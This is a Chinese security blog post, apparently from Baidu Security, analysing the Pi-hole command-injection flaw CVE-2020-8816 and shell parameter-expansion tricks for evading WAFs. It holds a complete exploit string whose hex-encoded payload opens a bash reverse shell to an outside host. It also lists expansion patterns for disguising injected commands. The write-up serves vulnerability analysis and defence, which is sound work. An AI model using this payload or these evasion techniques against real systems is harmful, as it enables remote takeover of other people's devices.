共计 2695 个字符,预计需要花费 7 分钟才能阅读完成。
1、前言
最近偶然看到了 Pi-hole <=4.3.2 远程代码执行漏洞(CVE-2020-8816)相关的文章,漏洞成因不是很难,但是里面构造的 Exp 引起了我的兴趣。由于 Pi-hole 代码对命令注入的参数整体做了大写转换,因此用到了 shell 参数扩展进行绕过,后面我查询了相关资料,发现这种方式非常灵活,可被用在命令注入攻击中以绕过传统 WAF。
2、CVE-2020-8816 简单复现分析
我们下载了 Pi-hole 4.3.2 版本进行安装,安装成功后会提示访问 http://pi.hole/admin 进行 Web 界 …。该漏洞为授权命令执行漏洞,Pi-hole 安装完成后会在界面生成一个随机密码。成功登录后,访问 Setting-DHCP,在下图的 Mac address 处可进行命令注入
此时我们填写参数并抓包,发现请求的文件路径为 /admin/setting.php,仔细查看了 setting.php 文件逻辑,发现该文件主要用来展示设置的内容和布局,并且是 php 和 html 混合的方式,并没有进行保存操作的代码,但是我们在代码第 9 行发现引入了 scripts/pi-hole/php/savesettings.php
跟进到 savesettings.php,发现会检查 POST 参数中 field 的值,并利用 switch case 判断,此时抓取的数据包中 field 为 DHCP,可以跟进到 548 行。命令注入点 AddMAC 被赋值给 $mac,并且在 556 行会由 validMAC 方法进行校验。
我们继续跟进 validMAC 方法,发现只要匹配到 12 个数字字母即返回成功,正则表达式中没有设定开始结束符号导致可以插入任意字符,随后 $mac 在 604 行直接拼接到 exec 方法中,从而导致命令注入。
但是在 560 行会将 $mac 所有字符转成大写,我们知道 linux 中的命令是区分大小写的,大写的如”ID”、”WHOAMI”等都是无法执行的,但是 PHP 中的函数是不区分大小写的。因此漏洞作者引入了 shell 参数扩展的方法,通过模式匹配获取小写的 p、h、r 等字符。
这里我们可以根据 env 中的常量进行截取:
$PATH=’/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin’
$W=${PATH##*:/}=’snap/bin’
$Y=${W%%/???}=’snap’
$P=${Y#???}=’p’
$PWD=’/var/www/html/admin’
$I=${PWD#/???/???/}
$H=${I%???/?????}
$Q=${PWD%/???/????/?????}
$R=${Q#/??}
那么可以构造如下的 Exp:
123456789123&&W=${PATH##\*:/}&&Y=${W%%/???}&&P=${Y#???}&&I=${PWD#/???/???/}&&H=${I%???/?????}&&Q=${PWD%/???/????/?????}&&R=${Q#/??}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“62617368202D63202762617368202D69203E26202F6465762F7463702F312E312E312E312F3930393020303E263127”));’&&
3、Shell 参数扩展介绍
Shell 参数扩展的绕过方式非常有意思,在命令注入漏洞的利用中可能被用以绕过 WAF 等。我也去查询了一下相关的资料,参数扩展定义如下:在 shell 中可以使用花括号 ${} 包裹参数来防止紧跟在参数后面的字符串被当作参数变量名的一部分,所以最基本的参数展开就是 ${parameter},常见的可被利用的有以下操作:
大小写转换:
${parameter^pattern} // 对 pattern 匹配的第一个字符转成大写
${parameter^^pattern} // 对 pattern 匹配的所有字符转成大写
${parameter,pattern} // 对 pattern 匹配的第一个字符转成小写
${parameter,,pattern} // 对 pattern 匹配的所有字符转成小写
字符串删除:
${parameter#pattern} // 从头开始匹配符合 pattern 的数据,则将符合的最短的数据删除
${parameter##pattern}// 从头开始匹配符合 pattern 的数据,则将符合的最长的数据删除
${parameter%pattern}// 从后开始匹配符合 pattern 的数据,则将符合的最短的数据删除
${parameter%%pattern}// 从后开始匹配符合 pattern 的数据,则将符合的最长的数据删除
可以举一个简单的例子如下图,在知道 $PATH 的情况下可多次利用模式匹配进行字符串删除留下可用字符,从而执行 id 命令。
参数切片:
${parameter:offset:length} // 从 offset 下标处截取长度为 length 的部分
使用切片的方式可以更方便地截取字符。
参数替换:
${parameter/pattern/string} // 将 pattern 匹配的部分替换为 string
在命令注入时可以将敏感词进行变形,以替换的方式进行绕过。
其中模式匹配 pattern 常见有下面的符号:
* // 匹配任意字符串
?// 匹配任意单个字符
[…] // 匹配集合中任意一个字符
经过实际测试,发现诸如 PHP、JAVA 等语言的命令执行函数,不能完全支持 shell 参数扩展的方式。在 PHP 7.0.3 环境下,使用 system、exec、shell_exec 命令执行方法,只支持上述字符串删除的方式;而在 JAVA1.8 环境下,Runtime.getRuntime().exec 则支持上述所有方式。
4、安全产品解决方案
百度安全一体化产品已支持 CVE-2020-8816 检测和拦截,并且通过 AI 学习的智能白模型也能很有效地拦截 Shell 参数扩展造成的变形。有需求的客户可以登录 anquan.baidu.com 联系我们。
参考链接:
https://www.freebuf.com/vuls/…
https://www.gnu.org/software/…_node/Pattern-Matching.html#Pattern-Matching
https://www.gnu.org/software/…_node/Shell-Parameter-Expansion.html
本文由百度安全原创,转载请注明出处及原文链接